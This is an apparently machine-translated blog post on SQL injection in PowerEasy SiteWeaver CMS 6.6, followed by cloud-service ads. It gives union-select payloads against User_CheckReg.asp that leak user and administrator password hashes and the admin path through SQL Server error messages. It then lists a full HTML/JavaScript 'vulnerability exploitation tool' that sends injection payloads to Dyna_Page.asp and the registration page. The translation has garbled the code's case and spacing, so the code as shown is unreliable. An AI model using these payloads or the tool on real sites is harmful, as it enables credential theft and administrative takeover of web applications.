Today, a very large website found that the license.txt file contains PowerEasy SiteWeaver CMS 6.6, which seems to be the legendary mobile CMS 2006. I checked this version and said there are many vulnerabilities on the Internet, but I checked the vulnerabilities such as Dyna_Page.asp and vote one by one. asp vulnerabilities have been fixed.
Then, try User_CheckReg.asp to check whether the user has the vulnerability. In fact, it is also fixed with a limit of 4-20 characters.
However, it is strange that:
Admin union select 1 from pe_user where left (username, 32) = 1 and email = xxxx@gmail.com -- this statement returns the SQL error message directly, you can get the query value from the error message:
Microsoft ole db Provider for SQL Server Error 80040e07
Failed to convert nvarchar value 39ba86c220869068 to data type int.
/Reg/User_CheckReg.asp, row 39
In this way, the password is exposed directly.
In the same way, enter the backend path:
Admin union select 1 from pe_config where left (admindir, 16) = 1 --
Administrator password:
Admin union select 1 from pe_admin where left (password, 16) = 1 --
Appendix: (the revised webpage for the dynamic and easy content management system published on the internet mainly Revised Chinese quotation marks and incorrect SQL statements ):
<Script>
Function gb2utf8 (data ){
Var glbEncode = [];
Gb2utf8_data = data;
ExecScript ("gb2utf8_data = MidB (gb2utf8_data, 1)", "VBScript ");
Var t = escape (gb2utf8_data ). replace (/% u/g ,""). replace (/(. {2 })(. {2})/g, "%$ 2% $1 "). replace (/% ([A-Z].) % (. {2})/g, "@ $1 $2 ");
T = t. split ("@");
Var I = 0, j = t. length, k;
While (++ I <j ){
K = t [I]. substring (0, 4 );
If (! GlbEncode [k]) {
Gb2utf8_char = eval ("0x" + k );
ExecScript ("gb2utf8_char = Chr (gb2utf8_char)", "VBScript ");
GlbEncode [k] = escape (gb2utf8_char). substring (1, 6 );
}
T [I] = glbEncode [k] + t [I]. substring (4 );
}
Gb2utf8_data = gb2utf8_char = null;
Return unescape (t. join ("% "));
}
Function PostData (){
Var url = document. getElementById ("url"). value;
Var post = document. getElementById ("post"). value;
Var oXmlHttp = new ActiveXObject ("Microsoft. XMLHTTP ");
OXmlHttp. open ("POST", url, false );
If (url. indexOf ("User_CheckReg.asp")> 0) {oXmlHttp. setRequestHeader ("Content-Type", "application/x-www-form-urlencoded ");}
OXmlHttp. send (post );
Var GetResult = gb2utf8 (oXmlHttp. responseBody );
If (oXmlHttp. readyState = 4 ){
If (oXmlHttp. status = 200 ){
Document. getElementById ("getResult"). value = GetResult;
}
}
}
Function Inject (I ){
If (I = 1 ){
Document. getElementById ("url"). value = "http://www.bkjia.com//Dyna_Page.asp ";
Document. getElementById ("post"). value = <? Xml version = "1.0" encoding = "gb2312"?> <Root> <id> 21 </id> <page> 1 </page> <value> 0 union select 1, 2, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,16, 17,18, 19,20, 21, DownloadUrl, 25, 26, 27,28, 29,30
, 31,32, 33,34, 35,36, 37,38, 39,40, 41,42, 43,44, 45,46, 47,48, 49,50, 51,52 from PE_soft where softid = 1 | 1 </value> </root>;
}
Else
{
Document. getElementById ("url"). value = "http://www.bkjia.com//Reg/User_CheckReg.asp ";
Document. getElementById ("post "). value = "UserName = admin % 20 union % 20 select % 201% 20 from % 20pe_admin % 20 where % 20 username = admin % 20and % 20 Substring (password,)> 0 ";
}
}
</Script>
<BODY>
<Div align = "center"> the latest vulnerability exploitation tool of SiteWeaver6.6 </div>
Enter URL: <br>
<Input type = "text" id = "url" value = "http://www.bkjia.com//Dyna_Page.asp" style = "width: 90%;"> <br>
Input Post: <br>
<TextArea id = "post" style = "width: 90%; height: 80;"> <? Xml version = "1.0" encoding = "gb2312"?>
<Root> <id> 21 </id> <page> 1 </page> <value> 0 union select 1, 2, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,16, 17,18, 19,20, 21, DownloadUrl, 25,26, 27,28, 29,30, 31,32
, 33,34, 35,36, 37,38, 39,40, 41,42, 43,44, 45,46, 47,48, 49,50, 51,52 from PE_soft where softid = 1 | 1 </value> </root> </textArea>
<Div align = "center"> <input type = "button" value = "vulnerability example" onClick = "Inject (1 ); "> <input type =" button "value =" Submit "onClick =" PostData (); "> <input type =" button "value =" vulnerability 2 example "onClick =" Inject (2); "> </div>
<Hr size = 2>
Injection result: <br>
<TextArea id = "getResult" style = "width: 90%; height: 200;"> </textArea>
</BODY>
Start building with 50+ products and up to 12 months usage for Elastic Compute Service
1 on 1 presale consultation
24/7 Technical Support 6 Free Tickets per Quarter Faster Response
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.
A comprehensive suite of global cloud computing services to power your business
Payment Methods We Support
